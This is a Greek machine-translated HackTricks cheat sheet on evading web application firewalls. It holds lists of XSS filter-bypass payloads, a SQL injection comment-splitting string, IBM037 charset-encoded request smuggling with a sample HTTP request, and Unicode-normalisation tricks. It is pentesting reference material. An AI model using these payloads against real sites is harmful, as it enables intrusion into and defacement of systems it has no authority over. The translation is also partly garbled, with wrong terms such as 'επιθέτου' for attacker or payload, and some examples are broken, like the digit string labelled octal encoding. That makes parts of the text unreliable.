hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md
Translator workflow 35c6b081d2 Translated to Greek
2024-02-10 22:40:18 +00:00

116 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Διάβασε το βιβλίο για τεχνικές χάκερ
<details>
<summary><strong>Μάθε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
## Παράκαμψη Regex
Διάφορες τεχνικές μπορούν να χρησιμοποιηθούν για την παράκαμψη των φίλτρων regex στους προστατευτικούς τείχους πυρασφάλειας. Παραδείγματα περιλαμβάνουν την εναλλαγή πεζών-κεφαλαίων, την προσθήκη αλλαγών γραμμής και την κωδικοποίηση των φορτίων. Πόροι για τις διάφορες παρακάμψεις μπορούν να βρεθούν στο [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) και στο [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). Τα παρακάτω παραδείγματα προέρχονται από [αυτό το άρθρο](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
## Κωδικοποίηση χαρακτήρων
Η κωδικοποίηση χαρακτήρων αναφέρεται στη μετατροπή των χαρακτήρων από τη μορφή τους σε μια μορφή που μπορεί να αναγνωστεί από τον υπολογιστή. Οι διάφορες κωδικοποιήσεις χαρακτήρων χρησιμοποιούνται για να αναπαραστήσουν διάφορες γλώσσες και συμβολοσειρές.
Κατά την εκτέλεση επιθέσεων σε ιστοσελίδες, μπορεί να υπάρχει η ανάγκη να παρακάμψουμε την κωδικοποίηση χαρακτήρων που χρησιμοποιείται από τον Web Application Firewall (WAF). Αυτό μπορεί να επιτευχθεί με τη χρήση ειδικών χαρακτήρων ή μετατροπής της κωδικοποίησης χαρακτήρων.
Οι παρακάτω τεχνικές μπορούν να χρησιμοποιηθούν για την παράκαμψη της κωδικοποίησης χαρακτήρων:
- **Διπλή κωδικοποίηση**: Μετατροπή των ειδικών χαρακτήρων σε διπλή κωδικοποίηση, ώστε να παρακαμφθεί η ανίχνευση του WAF.
- **Αντικατάσταση χαρακτήρων**: Αντικατάσταση ειδικών χαρακτήρων με παρόμοιους χαρακτήρες που δεν ανιχνεύονται από το WAF.
- **Μετατροπή κωδικοποίησης**: Μετατροπή της κωδικοποίησης χαρακτήρων σε μια διαφορετική μορφή που δεν ανιχνεύεται από το WAF.
Αυτές οι τεχνικές μπορούν να βοηθήσουν στην αποφυγή της ανίχνευσης από το WAF και να επιτρέψουν την εκτέλεση επιθέσεων σε ευάλωτες ιστοσελίδες.
```bash
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037
##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))
## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
```
## Απόκρυψη
Η απόκρυψη είναι μια τεχνική που χρησιμοποιείται για να αποφευχθεί η ανίχνευση ενός επιθέτου από έναν Web Application Firewall (WAF). Με τη χρήση αυτής της τεχνικής, ο κώδικας του επιθέτου τροποποιείται έτσι ώστε να μην αναγνωρίζεται από το WAF.
Οι τεχνικές απόκρυψης μπορούν να περιλαμβάνουν την αντικατάσταση ή την προσθήκη χαρακτήρων στον κώδικα του επιθέτου, την αναδιάταξη των εντολών ή τη χρήση μη αναγνωρίσιμων μεθόδων κρυπτογράφησης. Αυτό μπορεί να καταστήσει τον κώδικα του επιθέτου αδυνατό να αναγνωριστεί από το WAF και να περάσει απαρατήρητος.
Είναι σημαντικό να σημειωθεί ότι η απόκρυψη δεν είναι μια απόλυτη λύση και μπορεί να ανακαλυφθεί από προηγμένες τεχνικές ανίχνευσης. Ωστόσο, η χρήση απόκρυψης μπορεί να αυξήσει τις πιθανότητες επιτυχίας μιας επίθεσης και να δυσκολέψει την ανίχνευση του επιθέτου από το WAF.
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
## Συμβατότητα Unicode
Ανάλογα με την υλοποίηση της κανονικοποίησης Unicode (περισσότερες πληροφορίες [εδώ](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), χαρακτήρες που μοιράζονται συμβατότητα Unicode μπορεί να παρακάμψουν το WAF και να εκτελεστούν ως το επιθυμητό φορτίο. Συμβατοί χαρακτήρες μπορούν να βρεθούν [εδώ](https://www.compart.com/en/unicode)
### Παράδειγμα
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥ --> img src=p onerror='prompt(1)'>
```
## Υπέρβαση Ορίων Μεγέθους
Συνήθως σε WAFs που βασίζονται στο cloud, αν η φορτίο είναι μεγαλύτερο από το μέγεθος X, το αίτημα δεν θα ελεγχθεί από το WAF. Μπορείτε απλά να το χρησιμοποιήσετε για να το παρακάμψετε.
### Περιστροφή IP
* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>